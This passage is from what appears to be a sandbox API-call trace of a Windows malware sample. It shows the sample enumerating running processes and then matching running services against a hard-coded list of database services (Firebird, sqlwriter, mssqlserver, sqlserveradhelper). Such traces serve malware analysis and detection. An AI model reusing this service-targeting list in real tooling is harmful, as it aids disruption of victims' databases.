th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0128.273] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0128.273] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0128.274] lstrlenW (lpString="das.exe") returned 7 [0128.274] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0128.275] lstrlenW (lpString="beam removable.exe") returned 18 [0128.275] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0128.276] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0128.276] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0128.277] lstrlenW (lpString="dome.exe") returned 8 [0128.277] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0128.278] lstrlenW (lpString="wiresjacket.exe") returned 15 [0128.278] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0128.279] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0128.279] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0128.280] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0128.280] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0128.281] lstrlenW (lpString="tested.exe") returned 10 [0128.281] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0128.282] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0128.282] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0128.283] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0128.283] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0128.284] lstrlenW (lpString="level.exe") returned 9 [0128.284] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0128.285] lstrlenW (lpString="dllhost.exe") returned 11 [0128.285] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0128.286] lstrlenW (lpString="conhost.exe") returned 11 [0128.286] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0128.287] lstrlenW (lpString="conhost.exe") returned 11 [0128.287] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.288] lstrlenW (lpString="svchost.exe") returned 11 [0128.288] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0128.289] lstrlenW (lpString="load0.exe") returned 9 [0128.289] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0128.290] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0128.290] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0128.291] lstrlenW (lpString="conhost.exe") returned 11 [0128.291] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0128.361] lstrlenW (lpString="cmd.exe") returned 7 [0128.361] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0128.362] lstrlenW (lpString="conhost.exe") returned 11 [0128.362] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0128.363] CloseHandle (hObject=0x1004) returned 1 [0128.363] Sleep (dwMilliseconds=0x1f4) [0128.902] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e39d8 [0128.902] EnumServicesStatusExW (in: hSCManager=0x5e39d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0129.204] GetLastError () returned 0xea [0129.204] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69ab58 [0129.204] EnumServicesStatusExW (in: hSCManager=0x5e39d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69ab58, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69ab58, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0129.225] CloseServiceHandle (hSCObject=0x5e39d8) returned 1 [0129.225] lstrlenW (lpString="Appinfo") returned 7 [0129.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0129.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0129.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0129.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0129.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0129.226] lstrlenW (lpString="AppXSvc") returned 7 [0129.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0129.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0129.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0129.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0129.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0129.226] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0129.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0129.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0129.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0129.226] lstrlenW (lpString="Audiosrv") returned 8 [0129.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0129.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0129.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0129.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0129.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0129.226] lstrlenW (lpString="BFE") returned 3 [0129.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0129.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0129.226] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0129.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0129.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0129.227] lstrlenW (lpString="BITS") returned 4 [0129.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0129.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0129.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0129.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0129.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0129.227] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0129.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0129.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0129.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0129.227] lstrlenW (lpString="CDPSvc") returned 6 [0129.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0129.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0129.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0129.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0129.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0129.227] lstrlenW (lpString="ClickToRunSvc") returned 13 [0129.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.227] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0129.227] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0129.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0129.227] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0129.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0129.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0129.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0129.228] lstrlenW (lpString="CryptSvc") returned 8 [0129.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0129.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0129.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0129.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0129.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0129.228] lstrlenW (lpString="DcomLaunch") returned 10 [0129.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0129.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0129.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0129.228] lstrlenW (lpString="DeviceAssociationService") returned 24 [0129.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0129.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0129.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0129.228] lstrlenW (lpString="Dhcp") returned 4 [0129.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0129.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0129.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0129.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0129.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0129.228] lstrlenW (lpString="Dnscache") returned 8 [0129.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0129.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0129.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0129.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0129.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0129.229] lstrlenW (lpString="DoSvc") returned 5 [0129.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0129.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0129.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0129.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0129.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0129.229] lstrlenW (lpString="DPS") returned 3 [0129.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0129.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0129.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0129.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0129.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0129.229] lstrlenW (lpString="DusmSvc") returned 7 [0129.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0129.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0129.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0129.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0129.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0129.229] lstrlenW (lpString="EventLog") returned 8 [0129.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0129.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0129.229] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0129.229] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0129.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0129.229] lstrlenW (lpString="EventSystem") returned 11 [0129.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0129.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0129.230] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0129.230] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0129.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0129.230] lstrlenW (lpString="FontCache") returned 9 [0129.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0129.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0129.230] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0129.230] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0129.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0129.230] lstrlenW (lpString="gpsvc") returned 5 [0129.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0129.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0129.230] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0129.230] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0129.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0129.230] lstrlenW (lpString="iphlpsvc") returned 8 [0129.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.230] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0129.230] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0129.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0129.230] lstrlenW (lpString="KeyIso") returned 6 [0129.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0129.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0129.230] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0129.230] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0129.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0129.230] lstrlenW (lpString="LanmanServer") returned 12 [0129.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0129.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0129.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0129.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0129.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0129.231] lstrlenW (lpString="LanmanWorkstation") returned 17 [0129.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0129.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0129.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0129.231] lstrlenW (lpString="lfsvc") returned 5 [0129.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0129.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0129.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0129.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0129.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0129.231] lstrlenW (lpString="lmhosts") returned 7 [0129.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0129.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0129.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0129.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0129.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0129.231] lstrlenW (lpString="LSM") returned 3 [0129.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0129.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0129.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0129.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0129.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0129.232] lstrlenW (lpString="MapsBroker") returned 10 [0129.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0129.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0129.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0129.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0129.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0129.232] lstrlenW (lpString="MpsSvc") returned 6 [0129.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0129.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0129.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0129.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0129.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0129.232] lstrlenW (lpString="NcbService") returned 10 [0129.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0129.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0129.232] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0129.232] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0129.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0129.232] lstrlenW (lpString="netprofm") returned 8 [0129.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0129.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0129.232] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0129.232] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0129.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0129.232] lstrlenW (lpString="NlaSvc") returned 6 [0129.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0129.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0129.233] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0129.233] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0129.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0129.233] lstrlenW (lpString="nsi") returned 3 [0129.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0129.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0129.233] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0129.233] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0129.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0129.233] lstrlenW (lpString="PcaSvc") returned 6 [0129.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0129.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0129.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0129.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0129.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0129.233] lstrlenW (lpString="PlugPlay") returned 8 [0129.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0129.233] lstrcmpiW 